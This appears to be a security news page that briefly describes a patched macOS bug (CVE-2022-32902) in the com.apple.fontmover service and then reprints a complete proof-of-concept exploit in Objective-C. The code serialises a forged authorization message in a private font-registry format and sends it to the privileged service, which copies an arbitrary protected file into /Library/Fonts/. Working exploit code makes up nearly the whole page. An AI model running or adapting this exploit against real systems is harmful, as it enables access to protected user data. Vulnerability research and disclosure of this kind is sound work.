
com.apple.fontmover
. Three months later, Apple addressed it as CVE-2022-32902. After checking how Apple addressed the issue, he found two new issues introduced by patching the issue. He reported them to Apple immediately and waited for about 9 months.”
CVE-2022-32902 PoC exploit
https://github.com/jhftss/POC/blob/main/CVE-2022-32902/exploit.m
//
// main.m
// exploit_fontmover
//
// Created by mickey on 2022/6/15.
//
#import <Foundation/Foundation.h>
#define reverse_bytes_32(num) ( ((num & 0xFF000000) >> 24) | ((num & 0x00FF0000) >> 8) | ((num & 0x0000FF00) << 8) | ((num & 0x000000FF) << 24) )
// reversed from libFontRegistry.dylib
void Flatten(CFMutableDataRef output, CFTypeRef value);
void FlattenCFNumber(CFMutableDataRef output, CFNumberRef num) {
uint32_t val = 0x16000000;
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
uint32_t type = (uint32_t)CFNumberGetType(num);
val = reverse_bytes_32(type);
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
uint32_t byteSize = (uint32_t)CFNumberGetByteSize(num);
assert(byteSize==4); // sorry for the hardcode
val = reverse_bytes_32(byteSize);
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
CFNumberGetValue(num, type, &val);
val = reverse_bytes_32(val);
CFDataAppendBytes(output, (const UInt8 *)&val, byteSize);
}
void FlattenCFString(CFMutableDataRef output, CFStringRef string) {
uint32_t val = 0x7000000;
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
uint32_t length = (uint32_t)CFStringGetLength(string);
val = reverse_bytes_32(length);
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
UInt8 *buf = malloc(length);
//CFStringGetCString(string, (char *)buf, length, kCFStringEncodingUTF8);
CFStringGetBytes(string, CFRangeMake(0, length), kCFStringEncodingUTF8, 0, 1, buf, length, NULL);
CFDataAppendBytes(output, buf, length);
free(buf);
}
void FlattenCFURL(CFMutableDataRef output, CFURLRef url) {
uint32_t val = 0x1010000;
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
url = CFURLCopyAbsoluteURL(url);
uint32_t length = (uint32_t)CFURLGetBytes(url, 0, 0);
val = reverse_bytes_32(length);
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
UInt8 *buf = malloc(length);
CFURLGetBytes(url, buf, length);
CFDataAppendBytes(output, buf, length);
free(buf);
}
void FlattenCFData(CFMutableDataRef output, CFDataRef data) {
uint32_t val = 0x12000000;
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
uint32_t length = (uint32_t)CFDataGetLength(data);
val = reverse_bytes_32(length);
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
CFDataAppendBytes(output, CFDataGetBytePtr(data), length);
}
void FlattenCFArray(CFMutableDataRef output, CFArrayRef array) {
uint32_t val = 0x11000000;
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
uint32_t count = (uint32_t)CFArrayGetCount(array);
val = reverse_bytes_32(count);
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
for (uint32_t i = 0; i != count; ++i) {
Flatten(output, CFArrayGetValueAtIndex(array, i));
}
}
void FlattenCFDictionary(CFMutableDataRef output, CFDictionaryRef dict) {
uint32_t val = 0x10000000;
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
uint32_t count = (uint32_t)CFDictionaryGetCount(dict);
val = reverse_bytes_32(count);
CFDataAppendBytes(output, (const UInt8 *)&val, 4);
const void **keys = malloc(sizeof(void *) * count);
const void **vals = malloc(sizeof(void *) * count);
CFDictionaryGetKeysAndValues(dict, keys, vals);
for (uint32_t i = 0; i != count; ++i) {
Flatten(output, keys[i]);
Flatten(output, vals[i]);
}
}
void Flatten(CFMutableDataRef output, CFTypeRef value) {
CFTypeID typeID = CFGetTypeID(value);
if (typeID == CFDictionaryGetTypeID()) {
FlattenCFDictionary(output, value);
} else if (typeID == CFArrayGetTypeID()) {
FlattenCFArray(output, value);
} else if (typeID == CFDataGetTypeID()) {
FlattenCFData(output, value);
} else if (typeID == CFStringGetTypeID()) {
FlattenCFString(output, value);
} else if (typeID == CFURLGetTypeID()) {
FlattenCFURL(output, value);
} else if (typeID == CFNumberGetTypeID()) {
FlattenCFNumber(output, value);
} else {
NSLog(@”value:%@ with type:%lu is not implemented yet.”, value, typeID);
exit(-1);
}
}
int main(int argc, const char * argv[]) {
if (argc != 2) {
printf(“Usage: %s /path/to/secret\n”, argv[0]);
exit(-2);
}
CFMessagePortRef port = CFMessagePortCreateRemote(0, CFSTR(“com.apple.fontmover”));
if (port) {
AuthorizationRef authorization = NULL;
AuthorizationCreate(NULL, NULL, 0, &authorization);
AuthorizationExternalForm extForm = {0};
AuthorizationMakeExternalForm(authorization, &extForm);
CFDataRef authData = CFDataCreate(kCFAllocatorDefault, (const UInt8 *)extForm.bytes, 32);
CFURLRef file = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, (const UInt8 *)argv[1], strlen(argv[1]), 0);
CFArrayRef files = CFArrayCreate(kCFAllocatorDefault, (const void **)&file, 1, &kCFTypeArrayCallBacks);
CFMutableDictionaryRef msg = CFDictionaryCreateMutable(kCFAllocatorDefault, 2, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(msg, CFSTR(“authorization”), authData);
CFDictionarySetValue(msg, CFSTR(“files”), files);
CFDictionarySetValue(msg, CFSTR(“destination”), @2);
CFMutableDataRef data = CFDataCreateMutable(kCFAllocatorDefault, 0);
Flatten(data, msg);
CFMessagePortSendRequest(port, 2, data, 1.0, 1.0, kCFRunLoopDefaultMode, nil);
NSLog(@”Check the secret from the folder /Library/Fonts/”);
getchar();
CFMessagePortInvalidate(port);
}
return 0;
}

You must be logged in to post a comment.